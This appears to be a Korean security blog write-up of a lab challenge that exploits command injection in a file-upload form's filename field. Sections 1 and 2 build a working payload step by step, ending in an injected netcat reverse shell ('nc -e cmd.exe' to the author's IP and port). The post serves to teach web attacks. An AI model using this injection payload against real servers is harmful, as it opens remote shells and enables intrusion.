0. 문제 확인
upload_form.php라는 문제를 던져주셨다.
1) 해당 파일은 단순히 파일 업로드 기능만 제공해주는 파일이었다.
파일 업로드가 되면 자동으로 업로드한 파일을 보여주는데 사이즈가 올린 것보다 작아진 상태로 들어가고 파일명이 내 IP로 바뀌었다.
ex) 11.txt 파일을 업로드하면 172.16.1.242.txt로 파일명이 변경된다.
2) 파일 11.txt를 업로드하라는 패킷을 Burp로 잡아보니 MIX_FILE_SIZE와 filename을 POST 방식으로 전송한다.
1. 문제 해결 순서
1) Command Injection이라는 힌트를 주셔서 숫자가 아닌 문자열이 전송되는 filename 부분을 타겟으로 잡았다.
2) 파일명을 변경시켜주는 함수가 있을거라는 생각을 하여 해당 함수를 ')를 이용하여 닫아주고 &를 이용하여 명령어를 이어주었다.
Tip !! & 와 &&의 차이
& = 앞의 명령어가 실패하더라도 뒤의 명령어를 실행한다.
&& = 앞의 명령어가 실패하면 뒤의 명령어를 실행하지 않는다.
왜? AND 연산자는 모두가 참일 경우에만 참이 되기 때문에 앞의 명령어가 실패하는 순간 결과는 무조건 거짓이 되므로 뒤의 명령어를 실행하지 않고 거짓이라고 반환하는 것이다.
* 지금까지의 공격 코드 -> filename="11.txt') &
3) nc를 이용하여 내 PC에 포트를 listening 상태로 열어두고 원격지에서 나에게 붙을 수 있도록 설정하는 명령어를 Injection하였다.
* 지금까지의 공격 코드 -> filename="11.txt') & nc -e cmd.exe 172.16.1.242 9999
( 내 PC의 cmd 창에서 [ nc -l -p 9999 ] 를 한 상태 )
4) nc 명령어를 끊어주면서 filename에서 사용하는 함수의 '를 지워주기 위해 & 와 함께 '를 넣어준다.
* 지금까지의 공격 코드 -> filename="11.txt') & nc -e cmd.exe 172.16.1.242 9999 & '
2. 서버에서의 예상 코드
- 함수를 간단히 convert('origin','after')라고 예상을 했을 경우 위의 명령어를 작성하면
convert('11.txt') & nc -e cmd.exe 172.16.1.242 9999 & '','after')가 될 것이다.
- 만약 convert 함수가 시스템 함수를 사용한 것이라면 nc도 cmd 창에서 실행하는 것처럼 작동하기 때문에 이 공격이 작동하는 것이다.
'Hacking > Web' 카테고리의 다른 글
XST에 대해 알아보자 (1) | 2017.05.09 |
---|---|
LFI&RFI (0) | 2017.03.08 |
A9-알려진 취약점이 있는 컴포넌트 사용 (0) | 2017.02.25 |
A7 - 기능 수준의 접근 통제 누락 (0) | 2017.02.18 |
A6. 민감 데이터 노출 (0) | 2017.02.16 |